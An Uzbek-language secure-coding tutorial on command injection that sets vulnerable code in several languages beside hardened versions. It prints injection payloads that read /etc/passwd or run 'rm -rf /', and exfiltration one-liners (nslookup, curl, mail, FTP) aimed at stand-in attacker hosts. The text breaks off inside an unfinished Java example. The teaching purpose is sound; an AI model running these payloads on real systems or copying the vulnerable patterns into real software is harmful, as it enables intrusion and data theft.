# Command Injection Hujumlari: Sistemni Ichkaridan Nazorat Qilish San'ati Zamonaviy dasturlash olamida Command Injection zaifliği — bu shunchaki oddiy xatolik emas, balki butun tizimni qulashi mumkin bo'lgan kritik xavfsizlik teshigi hisoblanadi. Men 15 yillik tajribam davomida minglab loyihalarni tahlil qilganman va aytishim mumkinki, bu zaiflik ko'pincha dasturchilarning "tez va oson" yechim topishga intilishi natijasida paydo bo'ladi. > [!WARNING] > **Muhim ogohlantirish** > Ushbu maqoladagi barcha misol kodlar va texnikalar faqat ta'lim maqsadida keltirilgan. Bulardan haqiqiy tizimlarga qarshi hujum qilish uchun foydalanish qonuniy jihatdan javobgarlikka tortadi. Command Injection hujumlari — bu attackerlar tizimning OS komandalarini bajarish imkoniyatini beruvchi zaif dasturiy ta'minot orqali o'zlarining zararli kodlarini ijro etish imkonini topgan holatdir. Bu zaiflik ayniqsa web-ilovalar, system administratsiya skriptlari va IoT qurilmalarda keng tarqalgan. ## Command Injection ning Asosiy Mexanizmlari Command Injection zaifligining paydo bo'lish mexanizmi nisbatan oddiy, lekin oqibatlari juda katta bo'lishi mumkin. Dastur foydalanuvchi kiritgan ma'lumotlarni to'g'ridan-to'g'ri tizim komandalariga uzatganda va bu ma'lumotlarni yetarli darajada filtrlashdan o'tkazmaganda zaiflik paydo bo'ladi. ```mermaid flowchart TD A["Foydalanuvchi Input"] --> B{"Input Validation?"} B -->|"Yo'q"| C["Tizim Komandasi"] B -->|"Ha"| D["Sanitized Input"] C --> E["Command Execution"] D --> F["Xavfsiz Command"] E --> G["System Compromise"] F --> H["Xavfsiz Operatsiya"] style G fill:#ff4444 style H fill:#44ff44 ``` ### Zaiflikning Asosiy Sabablari Zaiflikning asosiy sabablari quyidagicha: 1. **Input Validation yo'qligi**: Foydalanuvchi kiritgan ma'lumotlar hech qanday tekshiruvdan o'tkazilmaydi 2. **Shell Command Injection**: Tizim shell komandalarini to'g'ridan-to'g'ri chaqiradi 3. **Privilege Escalation**: Bajarilgan komandalar yuqori huquqlar bilan ishga tushadi 4. **Output Handling**: Komanda natijalari xavfsiz qayta ishlanmaydi ### Klassik Command Injection Misoli Keling, eng oddiy misol bilan boshlaylik. Faraz qilaylik, bizda ping utilitasini ishlatuvchi PHP skript bor: ```php " . $output . ""; ?> ``` Ushbu kod juda xavfli, chunki attacker quyidagicha so'rov yuborishi mumkin: ```bash http://example.com/ping.php?host=google.com; cat /etc/passwd ``` Bu holatda tizim ikki komandani ketma-ket bajaradi: 1. `ping -c 4 google.com` 2. `cat /etc/passwd` > [!IMPORTANT] > **Semicolon operatori** > Semicolon (`;`) operatori Unix/Linux tizimlarda komandalarni ketma-ket bajarish uchun ishlatiladi. Bu Command Injection hujumlarida eng ko'p qo'llaniladigan texnikadir. ### Advanced Command Chaining Texnikalari Murakkab hujumchilar bir nechta command chaining operatorlaridan foydalanadilar: ```bash # AND operatori (&&) - birinchi komanda muvaffaqiyatli bo'lsa, ikkinchisini bajar ping google.com && cat /etc/passwd # OR operatori (||) - birinchi komanda muvaffaqiyatsiz bo'lsa, ikkinchisini bajar ping invalidhost || cat /etc/passwd # Pipe operatori (|) - birinchi komandaning chiqishini ikkinchisiga uzat ping google.com | grep "64 bytes" # Background execution (&) - komandani orqa fonda ishga tushir ping google.com & cat /etc/passwd # Command substitution - komanda natijasini boshqa komandaga qo'sh echo $(whoami) echo `whoami` ``` ## Command Injection Turları va Klassifikatsiyasi Command Injection zaifliklarini bir nechta toifalarga bo'lish mumkin. Har bir tur o'ziga xos xususiyatlarga ega va alohida himoya choralarini talab qiladi. ```mermaid flowchart LR A["Command Injection Types"] --> B["Direct Injection"] A --> C["Blind Injection"] A --> D["Semi-Blind Injection"] A --> E["Out-of-Band Injection"] B --> B1["Natija ko'rinadi"] C --> C1["Natija ko'rinmaydi"] D --> D1["Qisman natija"] E --> E1["Boshqa kanal orqali"] style A fill:#e1f5fe style B fill:#ffecb3 style C fill:#ffcdd2 style D fill:#dcedc1 style E fill:#f3e5f5 ``` ### Direct Command Injection Bu eng oddiy va ko'p uchraydigan tur hisoblanadi. Bu holatda foydalanuvchi kiritgan ma'lumotlar to'g'ridan-to'g'ri tizim komandalariga uzatiladi: ```python # XAVFLI Python kodi import os import subprocess def process_file(filename): # Xavfli: to'g'ridan-to'g'ri shell_exec result = os.system(f"ls -la {filename}") return result # Hujumchi quyidagicha foydalanishi mumkin: # process_file("test.txt; rm -rf /") ``` **Xavfsiz versiyasi:** ```python import subprocess import os from pathlib import Path def process_file_safely(filename): # Input validation if not filename or '..' in filename: raise ValueError("Invalid filename") # Safe path creation safe_path = Path(filename).resolve() allowed_dir = Path('/safe/directory').resolve() try: safe_path.relative_to(allowed_dir) except ValueError: raise ValueError("Path not allowed") # Safe command execution result = subprocess.run( ['ls', '-la', str(safe_path)], capture_output=True, text=True, timeout=10 ) return result.stdout, result.stderr ``` ### Blind Command Injection Bu holatda hujumchi komandaning bajarilishini ko'ra olmaydi, lekin vaqt kechikishi (time delay) yoki network ulanishi orqali komandaning bajarilganligini aniqlaydi: ```python import time import subprocess def ping_host(host): # Blind injection: natija ko'rinmaydi subprocess.run(f"ping -c 1 {host} > /dev/null", shell=True) return "Ping completed" # Hujumchi time-based attack ishlatishi mumkin: # ping_host("google.com; sleep 10") ``` > [!NOTE] > **Blind Injection Detection** > Blind Command Injection ni aniqlash uchun OWASP ZAP yoki Burp Suite kabi vositalardan time-based payload generator ishlatish tavsiya etiladi. **Xavfsiz versiya:** ```python import subprocess import ipaddress import re def ping_host_safely(host): # Input validation try: # IP address validation ipaddress.ip_address(host) except ValueError: # Domain name validation domain_pattern = re.compile( r'^[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?' r'(\.[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$' ) if not domain_pattern.match(host): raise ValueError("Invalid host format") # Safe execution try: result = subprocess.run( ['ping', '-c', '1', host], capture_output=True, text=True, timeout=5 ) return { 'success': result.returncode == 0, 'output': result.stdout if result.returncode == 0 else result.stderr } except subprocess.TimeoutExpired: return {'success': False, 'output': 'Ping timeout'} ``` ### Semi-Blind Command Injection Bu holatda hujumchi komandaning qisman natijasini ko'rishi mumkin: ```java // XAVFLI Java kodi import java.io.*; public class FileProcessor { public String processFile(String filename) { try { Process process = Runtime.getRuntime().exec("wc -l " + filename); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream()) ); return reader.readLine(); } catch (Exception e) { return "Error: " + e.getMessage(); } } } ``` **Xavfsiz Java versiyasi:** ```java import java.io.*; import java.nio.file.*; import java.util.regex.Pattern; public class SecureFileProcessor { private static final Pattern FILENAME_PATTERN = Pattern.compile("^[a-zA-Z0-9._-]+$"); private static final Path SAFE_DIRECTORY = Paths.get("/safe/files"); public ProcessResult processFile(String filename) { // Input validation if (filename == null || filename.isEmpty()) { return new ProcessResult(false, "Filename cannot be empty"); } if (!FILENAME_PATTERN.matcher(filename).matches()) { return new ProcessResult(false, "Invalid filename format"); } try { // Safe path resolution Path filePath = SAFE_DIRECTORY.resolve(filename).normalize(); if (!filePath.startsWith(SAFE_DIRECTORY)) { return new ProcessResult(false, "Path traversal detected"); } if (!Files.exists(filePath)) { return new ProcessResult(false, "File does not exist"); } // Safe command execution ProcessBuilder processBuilder = new ProcessBuilder("wc", "-l", filePath.toString()); Process process = processBuilder.start(); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream()) ); String result = reader.readLine(); int exitCode = process.waitFor(); return new ProcessResult(exitCode == 0, result); } catch (Exception e) { return new ProcessResult(false, "Processing error: " + e.getMessage()); } } public static class ProcessResult { public final boolean success; public final String output; public ProcessResult(boolean success, String output) { this.success = success; this.output = output; } } } ``` ### Out-of-Band Command Injection Bu murakkab tur bo'lib, hujumchi komanda natijalarini boshqa kanal (DNS, HTTP, FTP) orqali oladi: ```bash # DNS exfiltration misoli nslookup $(whoami).attacker-domain.com # HTTP exfiltration curl http://attacker-server.com/$(cat /etc/passwd | base64) # Email exfiltration mail attacker@evil.com < /etc/passwd # FTP exfiltration curl --upload-file /etc/passwd ftp://attacker-server.com/ ``` **Out-of-Band Detection:** ```python import subprocess import time import socket import threading class OutOfBandDetector: def __init__(self, detection_server="detector.local", detection_port=53): self.detection_server = detection_server self.detection_port = detection_port self.received_callbacks = set() def generate_unique_identifier(self): import uuid return str(uuid.uuid4())[:8] def start_listener(self): """DNS listener for out-of-band detection""" def dns_listener(): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(('0.0.0.0', self.detection_port)) while True: try: data, addr = sock.recvfrom(1024) query = data.decode('utf-8', errors='ignore') # Extract unique identifier from DNS query for callback_id in self.received_callbacks: if callback_id in query: print(f"Out-of-band callback detected: {callback_id} from {addr}") except Exception as e: continue thread = threading.Thread(target=dns_listener, daemon=True) thread.start() def test_oob_injection(self, target_url, payload_param): unique_id = self.generate_unique_identifier() self.received_callbacks.add(unique_id) # Out-of-band payload oob_payload = f"normal_value; nslookup {unique_id}.{self.detection_server}" # Send request import requests data = {payload_param: oob_payload} requests.post(target_url, data=data, timeout=5) # Wait for callback time.sleep(10) if unique_id in self.received_callbacks: return True, f"Out-of-band injection confirmed with ID: {unique_id}" return False, "No out-of-band callback received" ``` ## Zamonaviy Web Frameworklardagi Command Injection Har bir web framework o'ziga xos Command Injection zaifliklariga ega. Keling, mashhur frameworklardagi misollarni va ularning xavfsiz versiyalarini ko'rib chiqaylik. ### Node.js va Express.js Node.js da `child_process` moduli eng xavfli joylardandir: ```javascript // XAVFLI Node.js kodi const express = require('express'); const { exec } = require('child_process'); const app = express(); app.get('/convert', (req, res) => { const inputFile = req.query.file; const outputFile = req.query.output; // Xavfli: to'g'ridan-to'g'ri exec ishlatish exec(`convert ${inputFile} ${outputFile}`, (error, stdout, stderr) => { if (error) { return res.status(500).json({ error: error.message }); } res.json({ result: stdout, message: 'Conversion completed' }); }); }); // Hujum misoli: // GET /convert?file=input.jpg&output=output.pdf; cat /etc/passwd > /tmp/leaked.txt ``` **Xavfsiz Node.js versiyasi:** ```javascript const express = require('express'); const { spawn } = require('child_process'); const path = require('path'); const fs = require('fs'); const app = express(); // Rate limiting const rateLimit = require('express-rate-limit'); const limiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15 minutes max: 10 // limit each IP to 10 requests per windowMs }); app.use(limiter); // Input validation middleware const validateConvertRequest = (req, res, next) => { const { file, output } = req.query; if (!file || !output) { return res.status(400).json({ error: 'Missing required parameters' }); } // File extension validation const allowedExtensions = ['.jpg', '.jpeg', '.png', '.gif', '.bmp']; const inputExt = path.extname(file).toLowerCase(); const outputExt = path.extname(output).toLowerCase(); if (!allowedExtensions.includes(inputExt) || !allowedExtensions.includes(outputExt)) { return res.status(400).json({ error: 'Invalid file extension' }); } // Path traversal protection const safeInputFile = path.basename(file); const safeOutputFile = path.basename(output); if (safeInputFile !== file || safeOutputFile !== output) { return res.status(400).json({ error: 'Path traversal detected' }); } // Character validation const dangerousChars = /[|&;$`<>(){}[\]\\]/; if (dangerousChars.test(file) || dangerousChars.test(output)) { return res.status(400).json({ error: 'Invalid characters detected' }); } req.validatedInput = { inputFile: safeInputFile, outputFile: safeOutputFile }; next(); }; app.get('/convert', validateConvertRequest, (req, res) => { const { inputFile, outputFile } = req.validatedInput; const workingDir = '/safe/images'; // Check if input file exists const fullInputPath = path.join(workingDir, inputFile); if (!fs.existsSync(fullInputPath)) { return res.status(404).json({ error: 'Input file not found' }); } // Xavfsiz: spawn bilan argumentlarni alohida uzatish const convertProcess = spawn('convert', [inputFile, outputFile], { cwd: workingDir, timeout: 30000, stdio: ['ignore', 'pipe', 'pipe'] }); let output = ''; let errorOutput = ''; convertProcess.stdout.on('data', (data) => { output += data.toString(); // Prevent memory exhaustion if (output.length > 10000) { convertProcess.kill('SIGKILL'); return res.status(413).json({ error: 'Output too large' }); } }); convertProcess.stderr.on('data', (data) => { errorOutput += data.toString(); if (errorOutput.length > 5000) { convertProcess.kill('SIGKILL'); return res.status(413).json({ error: 'Error output too large' }); } }); convertProcess.on('close', (code, signal) => { if (signal === 'SIGKILL') { return; // Already handled } if (code === 0) { res.json({ result: output, message: 'Conversion completed successfully', outputFile: outputFile }); } else { res.status(500).json({ error: 'Conversion failed', details: errorOutput, exitCode: code }); } }); convertProcess.on('error', (error) => { console.error('Process execution failed:', error); res.status(500).json({ error: 'Process execution failed', details: 'Internal server error' }); }); // Timeout handler setTimeout(() => { if (!convertProcess.killed) { convertProcess.kill('SIGKILL'); res.status(408).json({ error: 'Conversion timeout' }); } }, 30000); }); app.listen(3000, () => { console.log('Secure image converter running on port 3000'); }); ``` ### Django va Python Django da Command Injection asosan `subprocess` moduli orqali yuzaga keladi: ```python # XAVFLI Django view from django.http import JsonResponse from django.views.decorators.http import require_http_methods import subprocess import os @require_http_methods(["POST"]) def backup_database(request): db_name = request.POST.get('database') backup_path = request.POST.get('path') # Xavfli: shell=True ishlatish command = f"pg_dump {db_name} > {backup_path}" result = subprocess.run(command, shell=True, capture_output=True, text=True) return JsonResponse({ 'success': result.returncode == 0, 'output': result.stdout, 'error': result.stderr }) # Hujum misoli: # POST data: database=mydb; rm -rf / & path=/tmp/backup.sql ``` **Xavfsiz Django implementatsiyasi:** ```python from django.http import JsonResponse from django.views.decorators.http import require_http_methods from django.core.exceptions import ValidationError from django.views.decorators.csrf import csrf_exempt from django.conf import settings import subprocess import re import os import logging from datetime import datetime logger = logging.getLogger(__name__) # Whitelist patterns DB_NAME_PATTERN = re.compile(r'^[a-zA-Z0-9_-]+$') PATH_PATTERN = re.compile(r'^/safe/backups/[a-zA-Z0-9_.-]+\.sql$') class SecureBackupService: ALLOWED_DATABASES = ['production_db', 'staging_db', 'test_db'] BACKUP_DIR = '/safe/backups/' MAX_BACKUP_SIZE = 100 * 1024 * 1024 # 100MB BACKUP_TIMEOUT = 300 # 5 minutes @staticmethod def validate_database_name(db_name): """Validate database name against whitelist""" if not db_name or len(db_name) > 50: return False, "Invalid database name length" if not DB_NAME_PATTERN.match(db_name): return False, "Database name contains invalid characters" if db_name not in SecureBackupService.ALLOWED_DATABASES: return False, "Database not in allowed list" return True, None @staticmethod def generate_backup_filename(db_name): """Generate secure backup filename""" timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') return f"{db_name}_backup_{timestamp}.sql" @staticmethod def validate_backup_path(backup_path): """Validate backup path""" if not backup_path: return False, "Backup path is required" if not PATH_PATTERN.match(backup_path): return False, "Invalid backup path format" # Ensure path is within backup directory abs_backup_path = os.path.abspath(backup_path) abs_backup_dir = os.path.abspath(SecureBackupService.BACKUP_DIR) if not abs_backup_path.startswith(abs_backup_dir): return False, "Backup path outside allowed directory" return True, None @staticmethod def create_backup(db_name, backup_path): """Create database backup safely""" try: # Environment variables for database connection env = os.environ.copy() env['PGPASSWORD'] = settings.DATABASE_PASSWORD # Safe command execution with explicit arguments cmd = [ 'pg_dump', '-h', settings.DATABASE_HOST, '-p', str(settings.DATABASE_PORT), '-U', settings.DATABASE_USER, '-f', backup_path, '--verbose', '--no-owner', '--no-privileges', db_name ] result = subprocess.run( cmd, env=env, capture_output=True, text=True, timeout=SecureBackupService.BACKUP_TIMEOUT ) # Check if backup file was created and has reasonable size if os.path.exists(backup_path): file_size = os.path.getsize(backup_path) if file_size == 0: os.remove(backup_path) return False, "Backup file is empty", result.stderr if file_size > SecureBackupService.MAX_BACKUP_SIZE: os.remove(backup_path) return False, "Backup file too large", "" return result.returncode == 0, result.stdout, result.stderr except subprocess.TimeoutExpired: logger.error(f"Backup timeout for database: {db_name}") if os.path.exists(backup_path): os.remove(backup_path) return False, "Backup process timeout", "" except Exception as e: logger.error(f"Backup error for database {db_name}: {str(e)}") if os.path.exists(backup_path): os.remove(backup_path) return False, f"Backup process error: {str(e)}", "" @require_http_methods(["POST"]) @csrf_exempt # In production, use proper CSRF protection def backup_database(request): try: db_name = request.POST.get('database', '').strip() custom_path = request.POST.get('path', '').strip() # Input validation if not db_name: return JsonResponse({ 'success': False, 'error': 'Database name is required' }, status=400) # Validate database name valid, error_msg = SecureBackupService.validate_database_name(db_name) if not valid: logger.warning(f"Invalid database name attempt: {db_name}") return JsonResponse({ 'success': False, 'error': error_msg }, status=400) # Generate or validate backup path if custom_path: valid, error_msg = SecureBackupService.validate_backup_path(custom_path) if not valid: logger.warning(f"Invalid backup path attempt: {custom_path}") return JsonResponse({ 'success': False, 'error': error_msg }, status=400) backup_path = custom_path else: backup_filename = SecureBackupService.generate_backup_filename(db_name) backup_path = os.path.join(SecureBackupService.BACKUP_DIR, backup_filename) # Create backup directory if it doesn't exist os.makedirs(os.path.dirname(backup_path), exist_ok=True) # Create backup success, stdout, stderr = SecureBackupService.create_backup(db_name, backup_path) if success: file_size = os.path.getsize(backup_path) if os.path.exists(backup_path) else 0 logger.info(f"Successful backup created: {backup_path} ({file_size} bytes)") return JsonResponse({ 'success': True, 'message': 'Database backup completed successfully', 'backup_file': os.path.basename(backup_path), 'file_size': file_size, 'details': stdout }) else: logger.error(f"Backup failed for {db_name}: {stderr}") return JsonResponse({ 'success': False, 'error': 'Backup process failed', 'details': stderr }, status=500) except Exception as e: logger.error(f"Unexpected error in backup_database: {str(e)}") return JsonResponse({ 'success': False, 'error': 'Internal server error occurred' }, status=500) ``` ### Spring Boot va Java Java da Command Injection asosan `Runtime.exec()` va `ProcessBuilder` orqali sodir bo'ladi: ```java // XAVFLI Spring Boot controller @RestController public class SystemController { @GetMapping("/system/disk-usage") public ResponseEntity getDiskUsage(@RequestParam String path) { try { // Xavfli: to'g'ridan-to'g'ri string concatenation Process process = Runtime.getRuntime().exec("du -sh " + path); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream()) ); StringBuilder result = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { result.append(line).append("\n"); } return ResponseEntity.ok(result.toString()); } catch (Exception e) { return ResponseEntity.status(500).body("Error: " + e.getMessage()); } } } // Hujum misoli: // GET /system/disk-usage?path=/home; cat /etc/passwd ``` **Xavfsiz Java implementatsiyasi:** ```java @RestController @Validated @Slf4j public class SecureSystemController { private static final Pattern SAFE_PATH_PATTERN = Pattern.compile("^/safe/[a-zA-Z0-9/_.-]+$"); private static final List ALLOWED_BASE_PATHS = Arrays.asList( "/safe/data", "/safe/uploads", "/safe/logs" ); private static final int COMMAND_TIMEOUT_SECONDS = 30; private static final int MAX_OUTPUT_SIZE = 10000; @Value("${app.system.commands.enabled:false}") private boolean systemCommandsEnabled; @GetMapping("/system/disk-usage") public ResponseEntity> getDiskUsage( @RequestParam @NotBlank String path) { Map response = new HashMap<>(); try { // Feature flag check if (!systemCommandsEnabled) { response.put("error", "System commands are disabled"); return ResponseEntity.status(403).body(response); } // Input validation String validationResult = validatePath(path); if (validationResult != null) { response.put("error", validationResult); return ResponseEntity.badRequest().body(response); } // Execute command safely DiskUsageResult result = executeDiskUsageCommand(path); } } } ```